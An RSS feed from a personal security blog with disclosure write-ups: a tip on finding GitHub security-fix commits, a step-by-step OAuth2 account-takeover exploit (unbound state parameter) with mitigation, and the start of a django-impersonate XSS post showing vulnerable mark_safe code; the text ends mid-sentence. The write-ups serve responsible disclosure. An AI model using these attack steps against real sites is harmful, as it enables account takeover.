<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="assets/xml/rss.xsl" media="all"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Santos Gallegos</title><link>https://stsewd.dev/</link><description>Personal blog</description><atom:link href="https://stsewd.dev/rss.xml" rel="self" type="application/rss+xml"></atom:link><language>en</language><copyright>Contents © 2026 &lt;a href="mailto:stsewd@proton.me"&gt;Santos Gallegos&lt;/a&gt; </copyright><lastBuildDate>Tue, 19 May 2026 07:03:31 GMT</lastBuildDate><generator>Nikola (getnikola.com)</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>Finding security-related commits on GitHub</title><link>https://stsewd.dev/posts/github-search-security-commits/</link><dc:creator>Santos Gallegos</dc:creator><description>&lt;p&gt;Did you know you can easily search for commits that fix security issues on GitHub?
Just search for commits with "Merge commit from fork" or "Merge pull request from GHSA".&lt;/p&gt;
&lt;p&gt;Why this works?
When there is a security issue, some projects use &lt;a class="reference external" href="https://docs.github.com/en/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/privately-reporting-a-security-vulnerability"&gt;GitHub Advisories&lt;/a&gt; to manage them.
GitHub allows you to create private pull requests to fix the issue in private.
However, when the pull request is merged,
GitHub strips the original commit message and replaces it with "Merge commit from fork", this can't be changed when using the GitHub UI.
In the past, it used to include a link to the advisory, so you can also search for "Merge pull request from GHSA", which is less generic.&lt;/p&gt;
&lt;p&gt;How can this be useful?&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;If you're a nerd like me who enjoys reading code and learning about security issues, you can find interesting commits to read. Some big projects appear in the results ;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If you're a government-backed hacker looking for 0-days, you can monitor commits with these messages to find security issues that are not yet disclosed. Please don't...&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Try it:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Search for &lt;a class="reference external" href="https://github.com/search?q=%22Merge+commit+from+fork%22&amp;amp;type=commits"&gt;Merge commit from fork&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Search for &lt;a class="reference external" href="https://github.com/search?q=%22Merge+pull+request+from+GHSA%22&amp;amp;type=commits"&gt;Merge pull request from GHSA&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note: Did you find a commit from me? Don't worry, those are already fixed and disclosed issues ;)&lt;/p&gt;
&lt;p&gt;If you are paranoid about people monitoring your project for commits like this,
you can merge the private pull request via the command line to preserve your original commit message.
Hopefully GitHub will allow customizing the commit message in the future from the UI.
This is the workflow I use when handling fixes from a security advisory:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Create a private fork from the advisory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Set the fork as a remote: &lt;code class="docutils literal"&gt;git remote add &lt;span class="pre"&gt;security-{advisory-id}&lt;/span&gt; &lt;span class="pre"&gt;&amp;lt;advisory-fork-url&amp;gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Create a new branch: &lt;code class="docutils literal"&gt;git checkout &lt;span class="pre"&gt;-b&lt;/span&gt; &lt;span class="pre"&gt;fix-security-issue-{advisory-id}&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Push the branch to the advisory fork: &lt;code class="docutils literal"&gt;git push &lt;span class="pre"&gt;-u&lt;/span&gt; &lt;span class="pre"&gt;security-{advisory-id}&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Create a pull request in the advisory fork.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When the fix is ready to be merged, do it via the command line:
&lt;code class="docutils literal"&gt;git checkout main &amp;amp;&amp;amp; git merge &lt;span class="pre"&gt;security-{advisory-id}&lt;/span&gt; &amp;amp;&amp;amp; git push origin main&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That's all, hope you found this useful!&lt;/p&gt;</description><category>github</category><category>security</category><guid>https://stsewd.dev/posts/github-search-security-commits/</guid><pubDate>Thu, 13 Nov 2025 05:00:00 GMT</pubDate></item><item><title>Exploiting a bad implementation of OAuth2</title><link>https://stsewd.dev/posts/exploiting-a-bad-implementation-of-oauth2/</link><dc:creator>Santos Gallegos</dc:creator><description>&lt;p&gt;In this post I'm going to share how I exploited a bad implementation of OAuth2 to take over user accounts with a single click.&lt;/p&gt;
&lt;aside class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note&lt;/p&gt;
&lt;p&gt;This vulnerability was reported in a private bug bounty program,
so I won't disclose the name of the company or details that could lead to its identification.&lt;/p&gt;
&lt;/aside&gt;
&lt;nav class="contents local" id="contents" role="doc-toc"&gt;
&lt;p class="topic-title"&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/exploiting-a-bad-implementation-of-oauth2/#top"&gt;Contents&lt;/a&gt;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/exploiting-a-bad-implementation-of-oauth2/#oauth2" id="toc-entry-1"&gt;OAuth2&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/exploiting-a-bad-implementation-of-oauth2/#the-state-parameter" id="toc-entry-2"&gt;The state parameter&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/exploiting-a-bad-implementation-of-oauth2/#the-vulnerability" id="toc-entry-3"&gt;The vulnerability&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/exploiting-a-bad-implementation-of-oauth2/#from-login-csrf-to-account-takeover" id="toc-entry-4"&gt;From login CSRF to account takeover&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/exploiting-a-bad-implementation-of-oauth2/#exploitation" id="toc-entry-5"&gt;Exploitation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/exploiting-a-bad-implementation-of-oauth2/#mitigation" id="toc-entry-6"&gt;Mitigation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/exploiting-a-bad-implementation-of-oauth2/#timeline" id="toc-entry-7"&gt;Timeline&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/nav&gt;
&lt;section id="oauth2"&gt;
&lt;h2&gt;OAuth2&lt;/h2&gt;
&lt;aside class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note&lt;/p&gt;
&lt;p&gt;I won't explain OAuth2 in detail, as there are plenty of resources online that do a better job than I could :)&lt;/p&gt;
&lt;/aside&gt;
&lt;p&gt;Whenever you see a log in button that says "Log in with Google" or "Log in with Facebook", that's OAuth2 in action.
A common OAuth2 flow looks like this:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;User goes to &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;https://example.com&lt;/span&gt;&lt;/code&gt; and clicks "Log in with Google".&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The user is redirected to Google's login/authorization page (&lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;https://accounts.google.com/o/oauth2/auth?client_id=1234&amp;amp;scope=email&amp;amp;state=4321&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The user logs in and authorizes the application.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Google redirects the user back to the application (callback URL) with an authorization code and state parameter (&lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;https://example.com/login/callback?code=5678&amp;amp;state=4321&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The application exchanges the authorization code for an access token (usually done server-side).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The application uses the access token to access the user's resources (profile, email, etc).&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;section id="the-state-parameter"&gt;
&lt;h3&gt;The state parameter&lt;/h3&gt;
&lt;p&gt;When the user is redirected to the OAuth2 provider (e.g., Google),
the application can include a state parameter in the URL (as you can see in step 2 above),
which is then returned by the OAuth2 provider in the callback URL (as you can see in step 4 above).&lt;/p&gt;
&lt;p&gt;What's the point of returning the same value in the callback URL? you might ask.
The state parameter is used to prevent &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;CSRF&lt;/a&gt; attacks,
in other words, it ensures that the user who initiated the OAuth2 flow is the same user who completed it,
preventing an attacker from tricking a user into logging in with a different account
(&lt;a class="reference external" href="https://support.detectify.com/support/solutions/articles/48001048951-login-csrf"&gt;login CSRF&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;In order to do that, the application must verify that the state parameter in the callback URL matches the one it sent.
The state should be unique for each OAuth2 flow, hard to guess, and bound to the user that initiated the flow,
as the &lt;a class="reference external" href="https://www.rfc-editor.org/rfc/rfc6749#section-10.12"&gt;OAuth2 RFC&lt;/a&gt; states.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="the-vulnerability"&gt;
&lt;h2&gt;The vulnerability&lt;/h2&gt;
&lt;p&gt;The site was generating a random state value for each OAuth2 flow, and correctly verifying it later in the callback URL.
But there was a small problem, the state wasn't bound to the user that initiated the flow.&lt;/p&gt;
&lt;p&gt;The OAuth2 flow looked like this:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;User starts the OAuth2 flow.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The application generates a random value and stores it in the database.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The application redirects the user to the OAuth2 provider with the state parameter.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The OAuth2 provider redirects the user back to the application with the state parameter.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The application retrieves the state parameter from the URL and checks that the value
exists in the database but doesn't check which user it belongs to.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This allows for an attacker to start an OAuth2 flow and then trick the victim into completing it,
leading to a login CSRF attack.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="from-login-csrf-to-account-takeover"&gt;
&lt;h2&gt;From login CSRF to account takeover&lt;/h2&gt;
&lt;p&gt;The bad implementation of the state parameter allows for a login CSRF attack,
but depending on the application, this type of attack might not be very impactful.
But the application had the following behavior:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;If the user isn't logged in and starts the OAuth process with a new provider,
a new account is created and linked to that provider.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If the user is logged in and starts the OAuth process with a new provider,
that provider is linked to the existing account.
Allowing the user to log in with any of the linked providers.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If the user, logged in or not, starts the OAuth process with a provider already linked to another account,
the application logs the user out, and logs him into the account linked to that provider.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If an attacker tricks the victim into completing the OAuth2 flow from another provider while logged in,
the attacker can link the victim's account to its own.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="exploitation"&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Let's say the application allows users to log in with Google and Facebook,
and the victim is logged in with Facebook.
The attacker starts the OAuth2 flow with Google but doesn't complete it;
instead, it intercepts the response. The attack would look like this:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;The attacker goes to &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;https://example.com&lt;/span&gt;&lt;/code&gt; and clicks "Log in with Google".&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The attacker is redirected to Google's login/authorization page
with a state parameter generated by the application (e.g., &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;https://accounts.google.com/o/oauth2/auth?client_id=1234&amp;amp;scope=email&amp;amp;state=c3VwZXItc2VjcmV0&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The attacker logs in and authorizes the application.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Google redirects the attacker back to the application with an authorization code.
But the attacker intercepts the response and doesn't let the browser follow the redirect.
The intercepted redirect would look like this: &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;https://example.com/login/callback?code=12345&amp;amp;state=c3VwZXItc2VjcmV0&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Since the redirect wasn't followed, the application didn't create a new account linked to Google,
but it kept track of the generated state in the database, waiting to be validated.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;While logged in with his Facebook account, the victim follows the attacker's link.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The application retrieves the state parameter from the URL and checks that the value exists in the database.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Then it uses the code from the URL to exchange it for an access token of the attacker's Google account.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Since the Google account doesn't exist in the application and the victim is already logged in,
the application will link the victim's account to the attacker's Google account.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The attacker can now log in with his Google account and gain access to the victim's account.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;aside class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note&lt;/p&gt;
&lt;p&gt;If the user is logged out, the attacker can also exploit this vulnerability,
but it requires more interaction from the user.&lt;/p&gt;
&lt;p&gt;This would be done by first exploiting the login CSRF vulnerability to log the user into the attacker's Google account,
and then tricking the user into linking a new provider to the attacker's account (e.g., Facebook).
The exact steps are left as an exercise to the reader :)&lt;/p&gt;
&lt;/aside&gt;
&lt;/section&gt;
&lt;section id="mitigation"&gt;
&lt;h2&gt;Mitigation&lt;/h2&gt;
&lt;p&gt;To prevent this,
the application should bind the state parameter to the user who initiated the OAuth2 flow.
This can be done by storing the state parameter in the user's session instead of a separate database.
This way, the intercepted state from one user wouldn't be valid for another user.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;12/02/2024&lt;/strong&gt;: Reported the vulnerability to the company.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;13/02/2024&lt;/strong&gt;: The company acknowledged the report.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;28/02/2024&lt;/strong&gt;: The company asked for clarification on how the vulnerability could be exploited.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;01/03/2024&lt;/strong&gt;: The company confirmed the vulnerability and awarded a bounty of $1000.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;13/03/2024&lt;/strong&gt;: The vulnerability was fixed.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;</description><category>authentication</category><category>oauth2</category><category>security</category><guid>https://stsewd.dev/posts/exploiting-a-bad-implementation-of-oauth2/</guid><pubDate>Thu, 20 Feb 2025 05:00:00 GMT</pubDate></item><item><title>XSS in django-impersonate 1.9.3 and django-gravatar2 1.4.4</title><link>https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/</link><dc:creator>Santos Gallegos</dc:creator><description>&lt;p&gt;This post details two cross-site scripting (XSS) vulnerabilities I discovered in &lt;a class="reference external" href="https://pypi.org/project/django-impersonate/"&gt;django-impersonate&lt;/a&gt;,
and &lt;a class="reference external" href="https://pypi.org/project/django-gravatar2/"&gt;django-gravatar2&lt;/a&gt;.
I'm writing about them together because they share the same vulnerability,
and are similar in other aspects that I'll explain below.&lt;/p&gt;
&lt;nav class="contents local" id="contents" role="doc-toc"&gt;
&lt;p class="topic-title"&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#top"&gt;Contents&lt;/a&gt;&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#background" id="toc-entry-1"&gt;Background&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#django-impersonate" id="toc-entry-2"&gt;django-impersonate&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#the-vulnerability" id="toc-entry-3"&gt;The vulnerability&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#exploitation" id="toc-entry-4"&gt;Exploitation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#proof-of-concept" id="toc-entry-5"&gt;Proof of concept&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#mitigation" id="toc-entry-6"&gt;Mitigation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#timeline" id="toc-entry-7"&gt;Timeline&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#django-gravatar2" id="toc-entry-8"&gt;django-gravatar2&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#the-vulnerability-1" id="toc-entry-9"&gt;The vulnerability&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#exploitation-1" id="toc-entry-10"&gt;Exploitation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#proof-of-concept-1" id="toc-entry-11"&gt;Proof of concept&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#mitigation-1" id="toc-entry-12"&gt;Mitigation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#timeline-1" id="toc-entry-13"&gt;Timeline&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#more-in-common-than-you-think" id="toc-entry-14"&gt;More in common than you think&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#acknowledgements" id="toc-entry-15"&gt;Acknowledgements&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/nav&gt;
&lt;section id="background"&gt;
&lt;h2&gt;Background&lt;/h2&gt;
&lt;p&gt;At &lt;a class="reference external" href="https://about.readthedocs.com/"&gt;Read the Docs&lt;/a&gt;, we use both packages.
While waiting for my PRs to be reviewed, and taking a break from coding,
I decided to do a quick security audit of some of our dependencies,
since both packages have a relatively small codebase,
they were good candidates for a quick review.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="django-impersonate"&gt;
&lt;h2&gt;django-impersonate&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://pypi.org/project/django-impersonate/"&gt;django-impersonate&lt;/a&gt; allows you to impersonate other users,
really useful for debugging and support.&lt;/p&gt;
&lt;section id="the-vulnerability"&gt;
&lt;h3&gt;The vulnerability&lt;/h3&gt;
&lt;p&gt;After grepping the codebase for common vulnerable patterns,
I found &lt;a class="reference external" href="https://hg.code.netlandish.com/~petersanchez/django-impersonate/browse/impersonate/helpers.py?rev=fa5d1a703960#L28"&gt;this line of code&lt;/a&gt; that caught my attention:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code python"&gt;&lt;a id="rest_code_badb05188725403eb99ba48fd1310240-1" name="rest_code_badb05188725403eb99ba48fd1310240-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_badb05188725403eb99ba48fd1310240-1"&gt;&lt;/a&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_redir_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;a id="rest_code_badb05188725403eb99ba48fd1310240-2" name="rest_code_badb05188725403eb99ba48fd1310240-2" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_badb05188725403eb99ba48fd1310240-2"&gt;&lt;/a&gt;    &lt;span class="n"&gt;redirect_field_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;REDIRECT_FIELD_NAME&lt;/span&gt;
&lt;a id="rest_code_badb05188725403eb99ba48fd1310240-3" name="rest_code_badb05188725403eb99ba48fd1310240-3" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_badb05188725403eb99ba48fd1310240-3"&gt;&lt;/a&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;redirect_field_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;a id="rest_code_badb05188725403eb99ba48fd1310240-4" name="rest_code_badb05188725403eb99ba48fd1310240-4" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_badb05188725403eb99ba48fd1310240-4"&gt;&lt;/a&gt;        &lt;span class="n"&gt;nextval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;redirect_field_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_badb05188725403eb99ba48fd1310240-5" name="rest_code_badb05188725403eb99ba48fd1310240-5" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_badb05188725403eb99ba48fd1310240-5"&gt;&lt;/a&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;nextval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;a id="rest_code_badb05188725403eb99ba48fd1310240-6" name="rest_code_badb05188725403eb99ba48fd1310240-6" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_badb05188725403eb99ba48fd1310240-6"&gt;&lt;/a&gt;            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;mark_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;a id="rest_code_badb05188725403eb99ba48fd1310240-7" name="rest_code_badb05188725403eb99ba48fd1310240-7" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_badb05188725403eb99ba48fd1310240-7"&gt;&lt;/a&gt;               &lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;input type="hidden" name="&lt;/span&gt;&lt;span class="si"&gt;{0}&lt;/span&gt;&lt;span class="s1"&gt;" value="&lt;/span&gt;&lt;span class="si"&gt;{1}&lt;/span&gt;&lt;span class="s1"&gt;"/&amp;gt;'&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;a id="rest_code_badb05188725403eb99ba48fd1310240-8" name="rest_code_badb05188725403eb99ba48fd1310240-8" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_badb05188725403eb99ba48fd1310240-8"&gt;&lt;/a&gt;                  &lt;span class="n"&gt;redirect_field_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nextval&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_badb05188725403eb99ba48fd1310240-9" name="rest_code_badb05188725403eb99ba48fd1310240-9" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_badb05188725403eb99ba48fd1310240-9"&gt;&lt;/a&gt;               &lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_badb05188725403eb99ba48fd1310240-10" name="rest_code_badb05188725403eb99ba48fd1310240-10" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_badb05188725403eb99ba48fd1310240-10"&gt;&lt;/a&gt;            &lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_badb05188725403eb99ba48fd1310240-11" name="rest_code_badb05188725403eb99ba48fd1310240-11" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_badb05188725403eb99ba48fd1310240-11"&gt;&lt;/a&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sa"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You can see that the application is building an HTML input field with the value of a query parameter (if the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;IMPERSONATE["REDIRECT_FIELD_NAME"]&lt;/span&gt;&lt;/code&gt; setting is defined),
and marking it as safe with &lt;a class="reference external" href="https://docs.djangoproject.com/en/4.2/ref/utils/#django.utils.safestring.mark_safe"&gt;mark_safe&lt;/a&gt;
(Django won't escape it when including it in a template).
The problem arises as the query parameter is controlled by the user, and isn't escaped before being included in the string.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="exploitation"&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;Searching for the usage of the &lt;code class="docutils literal"&gt;get_redir_field&lt;/code&gt; function,
I found it was used in two views related to listing users:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://hg.code.netlandish.com/~petersanchez/django-impersonate/browse/impersonate/views.py?rev=ed7f09b3bb9f2168888c15562e29471ea82373c2#L106"&gt;/impersonate/views.py:106 (list_users)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://hg.code.netlandish.com/~petersanchez/django-impersonate/browse/impersonate/views.py?rev=ed7f09b3bb9f2168888c15562e29471ea82373c2#L134"&gt;/impersonate/views.py:134 (search_users)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But only the &lt;a class="reference external" href="https://hg.code.netlandish.com/~petersanchez/django-impersonate/browse/impersonate/templates/impersonate/search_users.html?rev=ed7f09b3bb9f2168888c15562e29471ea82373c2#L11"&gt;template&lt;/a&gt;
